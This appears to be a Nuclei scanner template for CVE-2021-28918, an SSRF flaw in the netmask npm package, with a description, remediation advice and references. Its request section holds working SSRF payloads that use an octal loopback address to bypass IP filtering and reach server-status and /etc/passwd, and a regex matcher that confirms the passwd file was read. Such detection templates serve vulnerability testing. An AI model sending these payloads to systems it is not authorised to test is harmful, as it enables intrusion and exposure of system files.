54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2021-28918
|
|
|
|
info:
|
|
name: Netmask NPM Package - Server-Side Request Forgery
|
|
author: johnjhacking
|
|
severity: critical
|
|
description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
|
|
remediation: |
|
|
Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
|
|
reference:
|
|
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
|
|
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
|
|
- https://github.com/rs/node-netmask
|
|
- https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2021-28918
|
|
cwe-id: CWE-704
|
|
epss-score: 0.02788
|
|
epss-percentile: 0.89508
|
|
cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: netmask_project
|
|
product: netmask
|
|
framework: node.js
|
|
tags: cve,cve2021,npm,netmask,ssrf,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
|
|
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
|
|
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "Apache Server Status"
|
|
- "Server Version"
|
|
condition: and
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
# digest: 4a0a00473045022100f62089fbf5c2f9de54c8db89c380f83fd91c3ef002d3aace672dd3c97291925702207def3eb791470b2b93c4f5fd5007f82f9a4d60fbec6b040e0140b2d36bf064f9:922c64590222798bb761d5b6d8e72950
|